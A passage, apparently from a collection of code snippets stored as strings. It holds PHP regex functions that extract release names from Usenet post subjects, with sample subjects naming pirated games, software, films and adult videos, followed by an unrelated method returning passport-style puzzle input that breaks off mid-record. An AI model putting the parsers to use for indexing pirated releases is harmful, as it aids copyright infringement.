\".+\".+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[6820]-[abgx@Efnet]-[Full]-[Cotton_Fantastic_Night_Dreams_NTSC_RF_TG16-CD.iNJECT_iNTERNAL_VC_Wii-0RANGECHiCKEN]- [01/16] - 0c-cotton-rf.nfo (1/1) (1/1) yEnc\n\t\tif (preg_match('/^\\[\\d+\\]-\\[abgx@Efnet\\]-\\[Full\\]-\\[(.+)\\][ -]+\\[\\d+\\/\\d+\\] .+ yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[3488] [#alt.binaries.games.wii@efnet] [Blades.Of.Steel.USA.VC.Wii-DiPLODOCUS] [0/8] 3488.nzb (1/1) (1/1) yEnc\n\t\tif (preg_match('/^\\[\\d+\\] \\[#alt\\.binaries\\.games\\.wii@efnet\\] \\[(.+)\\] \\[\\d+\\/\\d+\\].+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<Little.League.World.Series.Double.Play.USA.WII-dumpTruck> [001/110] - \"Little.League.World.Series.Double.Play.USA.WII-dumpTruck.par2\" yEnc\n\t\tif (preg_match('/^<(.+)> \\[\\d+\\/\\d+\\] - \".+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function bungabunga()\n\t{\n\t\t//(3/9) - \"Microsoft Frontpage 2003 - 4 Town-Up from Kraenk.rar.par2\" - 181,98 MB - yEnc\n\t\tif (preg_match('/^[\\[(]\\d+\\/\\d+[\\])] - \"([A-Z0-9].{2,}?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[.,]\\d+ [kKmMgG][bB]( -)? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function highspeed()\n\t{\n\t\t//Old Dad uppt In ihrem Haus DVD Ripp AC3 German Xvid [01/31] - \"In ihrem Haus.par2\" yEnc\n\t\t//Old Dad uppt Eine offene Rechnung XviD German DVd Rip[02/41] - \"Eine offene Rechnung.part01.rar\" yEnc\n\t\t//Old Dad uppMiss Marple: Der Wachsblumenstrauß , Wunschpost Xvid German10/29] - \"Miss Marple Der Wachsblumenstrauß.part09.rar\" yEnc\n\t\tif (preg_match('/^Old\\s+Dad\\s+uppt? ?(.+?)( mp4| )?\\[?\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[03/61] - \"www.realmom.info - xvid - xf-fatalmovecd1.r00\" - 773,34 MB - yEnc\n\t\t//[40/54] - \"Mankind.Die.Geschichte.der.Menschheit.S01E12.Das.Ende.der.Reise.GERMAN.DUBBED.DL.DOKU.1080p.BluRay.x264-TVP.part39.rar\" - 4,79 GB yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[,.]\\d+ [mMkKgG][bB]( -)? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[02/10] - \"Fast.And.Furious.6 (2013).German.720p.CAM.MD-MW upp.by soV1-soko.rar\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"(.+?) upp.by.+?' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //>ghost-of-usenet.org>The A-Team S01-S05(Folgen einzelnd ladbar)<Sponsored by Astinews< (1930/3217) \"isd-ateamxvid-s04e21.r19\" yEnc\n\t\tif (preg_match('/^>ghost-of-usenet\\.org>(.+?)\\(.+?\\).+? \\(\\d+\\/\\d+\\) \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //www.usenet-town.com [Sponsored by Astinews] (103/103) \"Intimate.Enemies.German.2007.AC3.[passwort protect].vol60+21.PAR2\" yEnc\n\t\tif (preg_match('/^www\\..+? \\[Sponsored.+?\\] \\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Das.Schwergewicht.German.DL.720p.BluRay.x264-ETM - \"etm-schwergewicht-720p.part20.rar\" yEnc\n\t\tif (preg_match('/^([A-Za-z0-9][a-zA-Z0-9.-]{6,})\\s+- \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[ TiMnZb ] [ www.binnfo.in ] [REPOST] [01/46] - \"Columbo - S07 E05 - Des sourires et des armes.nfo\" yEnc\n\t\tif (preg_match('/^\\[ .+? \\] \\[ www\\..+? \\]( \\[.+?\\])? \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //< \"Burn.Notice.S04E17.Out.of.the.Fire.GERMAN.DUBBED.DL.720p.WebHD.x264-TVP.par2\" >< 01/17 (1.54 GB) >< 11.62 kB > yEnc\n\t\tif (preg_match('/^< \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' >< \\d+\\/\\d+ \\(.+?\\) >< .+? > yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Batman postet 30 Nights of Paranormal Activity with the Devil Inside AC3 XviD German [01/24] - \"30 Nights of Paranormal Activity with the Devil Inside.par2\" yEnc\n\t\tif (preg_match('/^[A-Za-z0-9]+ postet (.+?) \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[04/20 Geroellheimer - S03E19 - Freudige ?berraschung Geroellheimer - S03E19 - Freudige ?berraschung.mp4.004\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+ (.+?)(\\.(part\\d*|rar|avi|iso|mp4|mkv|mpg))?(\\d{1,3}\\.rev\"|\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}\"|\") yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn implode(' ',\n\t\t\t\t\t\t array_intersect_key(explode(' ', $match[1]),\n\t\t\t\t\t\t\t\t\t\t\t array_unique(array_map('strtolower',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t explode(' ', $match[1])))));\n\t\t} //\"Homeland.S01.Complete.German.WS.DVDRiP.XViD-ETM.part001.rar\" yEnc\n\t\tif (preg_match('/^\"(.+?)(\\.(part\\d*|rar|avi|mp4|mkv|mpg))?(\\d{1,3}\\.rev\"|\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}\"|\") yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\tif (strlen($match[1]) > 7 && !preg_match('/\\.vol.+/', $match[1])) {\n\t\t\t\treturn $match[1];\n\t\t\t} else {\n\t\t\t\treturn array(\n\t\t\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject),\n\t\t\t\t\t\"properlynamed\" => false\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function x()\n\t{\n\t\tif (preg_match('/^!!www\\.usenet4all\\.eu!![ _-]{0,3}(.+)\\[\\d+\\/\\d+\\][ _-]{0,3}(\"|#34;).+(\"|#34;) yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function warez()\n\t{\n\t\tif (preg_match('/^([a-zA-Z].+) - \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //ATKExotics.13.01.06.Janea.Toys.XXX.1080p.x264-SEXORS - [1/7] - #34;ATKExotics.13.01.06.Janea.Toys.XXX.1080p.x264-SEXORS.rar#34; yEnc\n\t\tif (preg_match('/^([a-z].+) - \\[\\d+\\/\\d+\\][ _-]{0,3}(\"|#34;).+(\"|#34;) yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//-Panzer.Command.Kharkov-SKIDROW - [1/7] - \"-Panzer.Command.Kharkov-SKIDROW.rar\" yEnc\n\t\t//-AssMasterpiece.12.07.09.Alexis.Monroe.XXX.1080p.x264-SEXORS - [1/7] - #34;-AssMasterpiece.12.07.09.Alexis.Monroe.XXX.1080p.x264-SEXORS.rar#34; yEnc\n\t\tif (preg_match('/.*[\\(\\[]\\d+\\/\\d+[\\)\\]][-_\\s]{0,3}(\"|#34;)(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4})(\"|#34;)(.+?)yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //- \"JH2U0H5FIK8TO7YK3Q.part12.rar\" yEnc\n\t\tif (preg_match('/.*\"(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}\")(.+?)yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //( XS Video Converter Ultimate 7.7.0 Build 20121226 ) - yEnc\n\t\tif (preg_match('/^\\( (.+?) \\) - yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "private function getInput(): string\n {\n return 'byr:1971\neyr:2039\nhgt:172in pid:170cm hcl:17106b iyr:2012 ecl:gry\ncid:339\n\nhgt:161cm eyr:2027\necl:grn iyr:2011 hcl:#a97842 byr:1977 pid:910468396\n\ncid:257\necl:gry hgt:186cm iyr:2012\nbyr:1941\neyr:2029\npid:108935675\nhcl:#cfa07d\n\nhgt:165in\nhcl:#cfa07d eyr:2035 pid:82570731\nbyr:1973\ncid:74 ecl:xry\n\neyr:2020 cid:105 iyr:2012 pid:947726115\nhcl:#ceb3a1 ecl:grn byr:1966 hgt:151cm\n\nhcl:#888785 eyr:2027 ecl:hzl byr:1966\npid:853607760\niyr:2012\nhgt:155cm\n\nhgt:61cm\niyr:2019\nbyr:1952 pid:#1468e6 eyr:2033 ecl:#7d39d5 hcl:z\n\npid:2306523501\neyr:2032 hcl:z ecl:brn\ncid:266 hgt:151in iyr:2024\nbyr:2008\n\nhcl:#a97842 hgt:191cm eyr:2025 ecl:gry byr:1923 pid:574171850 iyr:2019\n\nhgt:140\niyr:1987 byr:2003\neyr:2013 cid:242 hcl:z\necl:#19177c pid:150cm\n\nbyr:1959\nhgt:169cm hcl:#7d3b0c ecl:gry eyr:2028 cid:107 pid:584790749\n\nbyr:1955\ncid:309\nhcl:#a97842\npid:740105085 iyr:2020\nhgt:188cm ecl:oth eyr:2029\n\niyr:2016 hcl:#cfa07d eyr:2026\nhgt:151cm\npid:394185014 ecl:grn byr:1974\n\npid:226566060 ecl:blu cid:272 hgt:188cm hcl:#efcc98\neyr:2029 iyr:2014\nbyr:1956\n\npid:#7c7a9d ecl:#8fa327\neyr:2006 iyr:2022\nhcl:#7d3b0c hgt:169\nbyr:2025\n\nhgt:188in byr:2015 ecl:xry\niyr:1975\neyr:1928\npid:8939875193 hcl:7bbcce\n\nhgt:193cm\neyr:2029\npid:141707808 byr:1997\ncid:83 iyr:2019\necl:hzl hcl:#cfa07d\n\niyr:2019\npid:681586971\nhcl:#6b5442 hgt:165cm\neyr:2022 ecl:brn byr:1985\n\nbyr:1970\niyr:2016 hgt:156in pid:#e32394 eyr:2024\nhcl:#efcc98 ecl:grt\n\niyr:2013\necl:grn pid:341584587 eyr:2027 hgt:185cm hcl:#18171d\nbyr:1935\ncid:113\n\nhcl:#fffffd ecl:grn iyr:2010\npid:738986504 hgt:98 eyr:2024\nbyr:1968\n\npid:175337478 ecl:oth hgt:173cm hcl:#733820\neyr:2025 byr:1960\ncid:283 iyr:2018\n\nbyr:1959\nhcl:#341e13 eyr:2023\npid:566612260 hgt:176cm\niyr:2017 ecl:grn\n\ncid:321 pid:355095309 byr:1945\nhgt:161cm\neyr:2029 iyr:2017\necl:brn hcl:#733820\n\nhcl:#c0946f pid:75316487 iyr:2013 cid:201 hgt:152cm ecl:lzr byr:1996 eyr:1928\n\nhgt:160cm iyr:2010 hcl:#a018b9\neyr:2024 ecl:amb\ncid:347\n\neyr:2021\npid:893047101 iyr:2016 ecl:hzl hcl:#866857 byr:1988\nhgt:166cm\n\nhcl:#7d3b0c\necl:blu pid:085336099 eyr:2024\niyr:2019 hgt:178cm byr:1999\n\necl:grt iyr:2022\nhcl:z\nhgt:192cm byr:2010\n\npid:677187953 eyr:2025 iyr:2020 hgt:163cm byr:1957 ecl:grn hcl:#cfa07d\n\ncid:213\nbyr:1987\npid:113078018 ecl:blu iyr:2013 eyr:2022\nhcl:#7d3b0c hgt:157cm\n\necl:blu hcl:#c0946f hgt:186cm\nbyr:1992 eyr:2028 iyr:2010\n\npid:#b01156 hgt:67\nbyr:2014 ecl:#35dca0 eyr:1922 hcl:790130\n\nhcl:#602927\necl:blu hgt:173cm byr:1974 pid:116377061 cid:294 eyr:2030 iyr:2010\n\nhgt:151cm eyr:2022 iyr:2011 ecl:blu byr:1987 hcl:#733820\npid:#b90d2e\n\ncid:188\nbyr:1990\nhcl:#602927 iyr:2026\npid:530373696\nhgt:154cm ecl:gry\neyr:2029\n\nhgt:178cm eyr:2027\nhcl:#733820\necl:grn iyr:2014 pid:575371227 byr:1965\n\nhcl:#fffffd iyr:2020\nhgt:185cm ecl:amb pid:692760311\nbyr:1961\n\nbyr:1967 pid:397518948 ecl:lzr iyr:2015 hcl:#cfa07d cid:328\nhgt:177cm eyr:2035\n\nhcl:#8e1608\npid:554618249 iyr:2010 hgt:176cm cid:220\necl:brn byr:1928 eyr:2029\n\neyr:2030\necl:oth cid:177 hcl:#602927\niyr:2010 hgt:66in\npid:915661465 byr:1992\n\necl:brn pid:558826437 hgt:151cm byr:1936 hcl:#fffffd\neyr:2021 iyr:2012\n\neyr:2033\niyr:2019 hgt:190cm byr:1953\nhcl:#6b5442\npid:584941735 ecl:hzl\n\nhgt:71cm\nbyr:2015 iyr:2025\necl:#663b65 eyr:2039 hcl:z pid:62548949\n\necl:hzl byr:1943\niyr:2020 hgt:175cm pid:830628564 hcl:#7d3b0c eyr:2021\n\nhgt:182cm byr:1951 cid:175 eyr:2021 pid:635966127 ecl:blu iyr:2014 hcl:#18171d\n\nhcl:#733820 iyr:2011 pid:581100835 eyr:2022 ecl:grn byr:1985 hgt:192cm\n\niyr:2013\necl:grn\nhgt:185cm hcl:#a97842 byr:1981 eyr:2029 pid:711625030\n\nbyr:1995\npid:326992839\niyr:2015\neyr:2028 hcl:#733820 ecl:hzl\n\nhgt:160\neyr:2037 ecl:#6b6b83\ncid:123 iyr:2028\npid:7692333345\nhcl:z byr:2029\n\nhcl:#6b5442 iyr:2030\nhgt:165cm byr:2028 ecl:#21516d\neyr:2039\npid:182cm\n\nhgt:159cm iyr:2018 pid:610521467 eyr:2028 ecl:amb byr:1934 hcl:#602927\n\necl:blu\nhcl:#09d9a5 hgt:162cm iyr:2020\neyr:2025 byr:1971 pid:406714780\n\nhgt:179cm eyr:2022 hcl:#18171d\necl:blu pid:314891131 iyr:2015\nbyr:2002\n\nhcl:#623a2f hgt:181cm pid:442693333 byr:1990 ecl:grn eyr:2027\niyr:2011\n\niyr:2022 eyr:1939\npid:557187110 hcl:#18171d hgt:60cm ecl:#d6ac04 byr:1984\n\necl:grn byr:1948 hgt:174cm pid:438876745 cid:321\niyr:2018\nhcl:#866857 eyr:2023\n\nhgt:189cm iyr:2012 hcl:#602927 pid:978388052 ecl:brn\neyr:2030\n\necl:amb cid:235\nbyr:1938\npid:315825546 hcl:#ceb3a1 eyr:2029\niyr:2013 hgt:171cm\n\necl:dne hcl:z\nhgt:76cm byr:2010\ncid:185 eyr:2001\n\nhcl:#733820 byr:1988 pid:558453117\nhgt:66in\necl:oth iyr:2010 eyr:2021\n\nbyr:1926 pid:796557821 cid:155 hcl:#efcc98\nhgt:159cm eyr:2023 ecl:oth iyr:2016\n\nbyr:2023 eyr:2031 hcl:0ba99a pid:14902250\nhgt:132 ecl:#9b89b1 iyr:2017\n\nhcl:#a97842 byr:1926\ncid:205\necl:blu\niyr:2016 hgt:159cm eyr:2029\n\nbyr:1939 hcl:#866857\npid:025607627 hgt:174cm cid:309 eyr:2026 ecl:brn\n\necl:hzl pid:805133506\niyr:2014\nbyr:1991\nhcl:#cfa07d\ncid:350\nhgt:190cm\n\nhgt:155cm byr:1941 eyr:2024\ncid:164 hcl:#602927 iyr:2013 pid:531781358 ecl:amb\n\nhcl:#72a068 hgt:164cm\npid:621006770\necl:brn\neyr:2029 byr:1969\n\nbyr:1991\necl:grn iyr:2020\npid:9921729009 eyr:2029 hcl:#623a2f\nhgt:62in\n\niyr:2017 ecl:hzl\npid:768217275 eyr:2020 byr:1937\nhcl:#866857 hgt:157cm\n\ncid:270 byr:1993 hcl:#733820 ecl:hzl pid:722650020\nhgt:174cm iyr:2010\neyr:2021\n\nhcl:#c0946f ecl:blu\nhgt:154cm\neyr:2022 byr:1929 pid:357023679 iyr:2010\n\necl:hzl\niyr:2013 hgt:165cm byr:1979 eyr:2023 hcl:#733820 pid:008734536\n\nhcl:#341e13\neyr:2030 byr:1993\niyr:2014 hgt:193cm\ncid:346\necl:blu pid:536339538\n\neyr:2030\necl:hzl\ncid:296 pid:660062554 hcl:#efcc98\nbyr:1977 hgt:179cm\niyr:2010\n\ncid:119 pid:498520651 hgt:159cm\neyr:2029 iyr:2015 hcl:#18171d\necl:gmt\nbyr:1950\n\neyr:2025 iyr:2010 hcl:#efcc98 pid:196372989 hgt:181cm byr:1952 ecl:oth\n\ncid:317\neyr:2026 ecl:blu hcl:#733820\nhgt:184cm\npid:549730813 byr:1927 iyr:2018\n\npid:591769824\nhgt:180cm\nbyr:1920\necl:blu\neyr:2021 hcl:#cfa07d iyr:2017\n\npid:988946348 hgt:183cm cid:117 byr:1955 ecl:blu\niyr:2015 hcl:#623a2f eyr:2029\n\niyr:2014\neyr:2026 hgt:184cm\necl:oth\nhcl:#7d3b0c pid:252101860\n\nbyr:1995\nhgt:182cm ecl:brn hcl:#6b5442\niyr:2012 eyr:2028 pid:482757872\n\niyr:2017 cid:333 ecl:gry hcl:#623a2f hgt:157cm eyr:2021\npid:487895819\nbyr:1951\n\nhcl:#fffffd\nhgt:193cm eyr:2025 byr:1927 iyr:2014 ecl:oth pid:989206297\n\neyr:2030 ecl:brn hcl:#18171d hgt:193cm\niyr:2013 byr:1953 pid:862636088\n\nhcl:#fffffd\npid:204286737 ecl:gry byr:1923\nhgt:181cm\niyr:2015\neyr:2023\n\ncid:288 pid:413935643 ecl:gry\niyr:2012\nhgt:171cm\nhcl:#623a2f\neyr:2020 byr:1943\n\nbyr:2023 hcl:#c0946f\necl:oth\npid:182634296 eyr:2009\ncid:306 hgt:183cm\niyr:2029\n\neyr:2026 ecl:hzl byr:2003\niyr:2027 pid:734296691 hgt:188cm hcl:#fffffd\n\nhcl:#18171d ecl:gry pid:401957684 eyr:2020\niyr:2017 cid:141 byr:1944 hgt:74in\n\necl:grn hcl:z\npid:335097003 byr:1925\nhgt:170in iyr:2020 eyr:2022\n\npid:727198487\nhgt:173cm\ncid:323 hcl:#18171d iyr:2012 eyr:2024\nbyr:1995 ecl:blu\n\necl:amb hcl:#602927\npid:460274414\nhgt:76in byr:1995\niyr:2020\neyr:2028\n\nbyr:2002 ecl:oth pid:101164770\nhgt:172cm hcl:#fffffd eyr:2023 iyr:2016\n\necl:blu hcl:#888785 iyr:2016 pid:031162631 eyr:2025 hgt:186cm\nbyr:1959\n\necl:blu pid:093242619 hgt:188cm byr:1970\neyr:2025\nhcl:#6b5442\niyr:2020\n\nbyr:1990 eyr:2025 ecl:grn\npid:907309460\niyr:2011 hcl:#602927 hgt:62in\n\npid:346468647 eyr:2021\necl:oth hgt:169cm\niyr:2010 cid:233\nhcl:#b6652a byr:1977\n\npid:904834317 iyr:2011\nhcl:#b6652a eyr:2028 cid:281\nbyr:1944 hgt:187cm ecl:gry\n\neyr:1988 pid:663941602\nhgt:156in\nhcl:#fa2e93 iyr:2015 ecl:gry byr:1953\n\nhgt:184cm cid:107 pid:094829817\necl:gry byr:1998 eyr:2023 iyr:2017\n\neyr:2020 ecl:gry byr:1955 hcl:#a97842 pid:553841536\n\nhgt:185cm eyr:2022 hcl:#341e13 ecl:oth byr:1934 pid:863541754 cid:178\niyr:2016\n\neyr:2029 iyr:2014 byr:1937 cid:232 hgt:177cm hcl:#fffffd ecl:blu\npid:076753558\n\nhcl:#cfa07d\nhgt:168cm\necl:grn\npid:664159349 eyr:2028 iyr:2017 byr:1972\n\nhcl:#a97842\nbyr:1987\neyr:2020 hgt:182cm\niyr:2018\necl:brn pid:560272731\n\nhgt:172cm cid:125 ecl:blu pid:291640184\nbyr:1926\niyr:2014 hcl:#ceb3a1\n\niyr:2027 hgt:84 hcl:z\necl:#b68fec\npid:809408661\nbyr:2018 eyr:1927 cid:87\n\npid:951007276 cid:260 eyr:2025\necl:brn iyr:2015 byr:1957\nhcl:#4b8216 hgt:161cm\n\npid:359973697 hcl:#6b5442\neyr:2022 hgt:169cm\nbyr:1965 ecl:brn iyr:2013\n\niyr:2012 hgt:65in eyr:2024 pid:842371195\necl:amb\nhcl:#341e13 byr:2000\n\necl:hzl hgt:170cm byr:1950\ncid:289 eyr:2037 iyr:2021 hcl:#18171d pid:389051819\n\nhgt:159cm\necl:amb hcl:#c0946f eyr:2020 pid:010539976 iyr:2011 byr:1921\n\nhgt:176cm cid:270 pid:838338992\neyr:2024 hcl:#866857\necl:amb iyr:2015 byr:1982\n\necl:blu\ncid:246 hgt:185cm\nbyr:1987\nhcl:#fffffd pid:042361456 eyr:2022\niyr:2010\n\nhgt:164cm\npid:881486702 ecl:brn byr:1969 hcl:#c0946f\niyr:2010 eyr:2030\n\niyr:2019 hcl:#6b5442 hgt:167cm\necl:amb\ncid:207 byr:1922\neyr:2025 pid:343956182\n\necl:oth iyr:2012\nhgt:158cm\neyr:2024 hcl:#602927 byr:1964\n\nbyr:1988 pid:030965463 hgt:154cm\necl:gry eyr:2020 cid:227\niyr:2012\nhcl:#3edc53\n\nhgt:178cm hcl:#c0946f byr:1945 ecl:amb eyr:2030\n\nhgt:158cm pid:270264980 eyr:2027 iyr:2016 byr:1928 cid:259\necl:gry hcl:#733820\n\nbyr:2026 hgt:164in cid:235 ecl:xry\nhcl:z pid:2517730699\neyr:2033 iyr:2024\n\necl:grn hgt:69cm pid:1321222581 byr:1987\neyr:2035\niyr:2018 hcl:#fffffd\n\nhcl:#733820 cid:244\necl:gry iyr:2013 eyr:2028\npid:794178180 hgt:74in byr:1923\n\nhcl:#a97842 byr:1934 ecl:hzl eyr:2027\npid:401882857\niyr:2018 hgt:185cm\n\niyr:2018\npid:665564950 byr:1990 ecl:hzl\nhgt:154cm\neyr:2026 hcl:#623a2f\n\nhcl:#602927 cid:189 byr:1967 pid:332861702 eyr:2021\nhgt:163cm\necl:amb\n\necl:grn pid:734161280 hgt:184cm\niyr:2018 eyr:2020 byr:1929 hcl:#a97842\n\niyr:2018 byr:1925\neyr:2022 hgt:193cm ecl:hzl\nhcl:#341e13\npid:008582320\n\nbyr:2025 ecl:dne hgt:167cm pid:48963526\niyr:2025 hcl:z\neyr:2034\n\nhcl:#cfa07d ecl:hzl eyr:2029 cid:194 byr:1936\niyr:2020\nhgt:186cm\npid:328573727\n\niyr:2011 hgt:188cm pid:338435675 cid:326 ecl:gry\neyr:2027\nhcl:#6b5442\nbyr:1958\n\npid:165cm\nhgt:70 iyr:1996\neyr:2034 cid:210 hcl:z ecl:#75606f byr:2027\n\nhgt:180in hcl:#a0515a pid:#97a753\nbyr:2026 iyr:2016\neyr:1995\n\neyr:2020\nhcl:#18171d byr:1978 iyr:2012 hgt:68in\necl:amb cid:346 pid:332495922\n\necl:blu hgt:61in pid:747650669\nbyr:1961 eyr:2028\niyr:2020\nhcl:#4992f2\n\nbyr:1958 iyr:2017 ecl:oth\nhgt:153cm\nhcl:#602927 eyr:2023 pid:108391213\n\nbyr:1976 eyr:2023 iyr:2015 hgt:177cm pid:391628371 hcl:#8069c4\necl:grn\n\npid:910402636 ecl:gry hgt:188cm byr:1924 hcl:#82dfdc eyr:2029\n\nbyr:1978 pid:302223240 iyr:2017\nhgt:174cm\nhcl:#6b6569 ecl:blu eyr:2027\n\ncid:135\nbyr:1995 iyr:2015 ecl:oth pid:054611703\neyr:2023\nhcl:#7d3b0c hgt:75in\n\necl:grn\neyr:2020 hgt:184cm pid:444944678 iyr:2019 hcl:#efcc98\n\nbyr:1946\nhgt:70in eyr:2022 hcl:#6b5442 ecl:amb iyr:2018 pid:859762925\n\nbyr:1995 eyr:2022\necl:grn pid:575081777\nhcl:#341e13\nhgt:183in iyr:2018\n\neyr:2028 hgt:162cm byr:1989 hcl:#0bd11f\niyr:2020 ecl:gry\npid:073498924\n\niyr:2014\npid:122787281 byr:1982 cid:138 eyr:2021 hcl:#866857 ecl:hzl hgt:184cm\n\ncid:198 byr:2014\npid:5529128129\nhgt:185in\niyr:2025\nhcl:z\neyr:2023\necl:gmt\n\neyr:2021 hgt:170cm\ncid:74\niyr:2019 pid:943445928 byr:1980\necl:oth hcl:#ceb3a1\n\niyr:2020 eyr:2030 pid:201122734 cid:246 hgt:169cm ecl:grn hcl:#fffffd byr:1962\n\npid:025560194\nbyr:1989\nhcl:#cfa07d hgt:182cm ecl:blu eyr:2025 iyr:2012\n\nhgt:151cm\nhcl:#efcc98 ecl:blu\nbyr:1983 eyr:2023 pid:814513328 iyr:2013 cid:73\n\nbyr:1961 pid:536384108 hgt:188cm ecl:amb iyr:2013 eyr:2027 hcl:#888785 cid:121\n\npid:364607819\neyr:2024 ecl:amb hcl:#b6652a iyr:2016\nbyr:2000 hgt:187cm\n\nhcl:z eyr:1956 iyr:2028\nhgt:168cm cid:105\nbyr:2026\necl:#5b17d3\n\ncid:207 pid:913509058 ecl:brn byr:2001 eyr:2026\nhcl:#866857 iyr:2019\nhgt:180cm\n\npid:363979129\neyr:2027 iyr:2013\necl:gry hcl:#866857 byr:1957 hgt:62in\n\nbyr:1932\neyr:2027\nhgt:66in ecl:hzl hcl:#efcc98 pid:417620217 iyr:2013\n\niyr:2013 cid:331 hgt:192cm\nhcl:#d896d9 pid:795744816 byr:1935\n\nbyr:1960 hcl:#888785 hgt:176cm ecl:hzl pid:025206542\niyr:2015 eyr:2030\n\necl:oth hgt:182cm\nhcl:#341e13\npid:526568190 iyr:2018 cid:280 byr:1997\neyr:2028\n\nhgt:186cm pid:273625601 byr:1993 iyr:2018 eyr:2021 hcl:#733820\necl:blu\n\nhgt:74cm\nbyr:1981 eyr:2024\necl:amb iyr:2012 pid:154027492 hcl:#733820\n\nhcl:#a97842 pid:347084450 ecl:oth\neyr:2030 hgt:176cm byr:1955 cid:229\niyr:2013\n\nhcl:#fffffd byr:1979 iyr:2017\npid:183840860 hgt:177cm ecl:blu eyr:2023\n\npid:045246162 eyr:2021 byr:1928 hgt:190cm ecl:gry hcl:#602927\n\npid:273620987\neyr:2022 hgt:162cm\ncid:269\nbyr:1991 hcl:#602927 ecl:amb iyr:2019\n\npid:621069556 ecl:amb\ncid:202 byr:2020 hgt:189cm\niyr:2014 hcl:#fffffd\neyr:2027\n\neyr:2022 byr:1988\nhgt:190cm\npid:349839553 hcl:#602927 iyr:2018 ecl:gry\n\niyr:2014 ecl:gry\nhcl:#733820 eyr:2025 hgt:179cm pid:231854667 byr:1984\ncid:102\n\neyr:2020\npid:509400891 hcl:#cfa07d hgt:172cm\necl:grn byr:1997 iyr:2020\n\niyr:2017 byr:1994 hgt:174cm ecl:amb\npid:685743124\nhcl:#fffffd eyr:2029\n\niyr:2012 hgt:177cm byr:1999 pid:549190825 hcl:#b6652a eyr:2028 ecl:oth cid:316\n\nhgt:192cm ecl:grn 